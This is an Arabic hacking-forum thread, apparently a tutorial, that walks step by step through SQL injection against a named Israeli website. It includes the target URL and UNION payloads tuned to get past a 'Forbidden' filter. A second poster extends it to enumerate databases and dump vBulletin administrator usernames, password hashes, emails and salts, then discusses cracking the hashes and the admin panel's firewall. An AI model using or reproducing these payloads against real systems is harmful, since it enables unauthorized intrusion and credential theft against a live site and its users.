شرح بالصور تخطي مشكلة Dz4all 2011 | Forbidden

[Amine_92]

اليوم أتتيت لكم بحل لمشكلة إستعضمتموها كثيرا لكن حلها سهلا جدا

ما عليك متابعة الصور والتطبييق

نبدأ على بركة الله

1- فأر التجربة موقع إسرائيلي

كود PHP:

http://www.sora.co.il 


2- نوعية اللشرح : عن طريق الصور

3- نتيجة العملية : ناجحة 100%

===================================

رابط الإستغلال

كود PHP:

http://www.sora.co.il/games.php?id=105 


نعمل الحقن العادي

نتابع



نعمل على إزالة الخطأ



زال الخطأ الآن نتابع الحقن

لكن الآآآن صادفنااا خطأ Forbidden



الآن نقوم بإضافة تغيير صغير لإزالة الخطأ

كود PHP:

id=105+union+(select+1,2,3,4,5,6)-- 


أزيل الخطأ بإذن الله



إليكم الرابط

كود PHP:

http://www.sora.co.il/games.php?id=105+union+(select+1,version(),3,4,5,6)-- 


أتمنى أن الشرح كان بسيطاااا

[Nassim0x09]

نكمل معاك
بعرض قواعد البيانات هكذا

http://www.sora.co.il/games.php?id=105+union+%28select+1,schema_name,3,4,5,6+from+information_schema.schemata%29--

نجد عدت قواعد

information_schema
sora_gallery
sora_new
sora_new2
sora_poll
sora_poll2
sora_vb

من هذي sora_vb نلاحظ انها قاعدة منتدى

منتدى

http://vb.sora.co.il/vb/

جدول يوزرات هوا user في سكريبت vbulletin

نعرض username , password , email , salt

where usergroupid = 6

6 تعني اداريين فقط

هكذا

http://www.sora.co.il/games.php?id=105+/*!union*/+/*!select*/+1,/*!CoNcAt%28username,0x3a,password,0x3a,email,0x3a,salt%29*/,3,4,5,6+from+sora_vb.user+where+usergroupid=6--

نتيجة عدة ادارين يوجد فرصة فك باسورد احدهم

لكن هناك مشكل

 http://vb.sora.co.il/vb/admincp/

جدار ناري

و **** لك =]

[Amine_92]

**** لك أخي []
حاولة فك الهاشات لكن من دون جدوى

[Nassim0x09]

هاش ليس md5
بلا تشفيرة اخرى

md5(md5($pass).$salt)

إبحث في قوقل عن طريقة فك هاش منتدى vBulletin

[ApOcalYpse]

واش نسيم واش راك ادير هنا ههههههههههه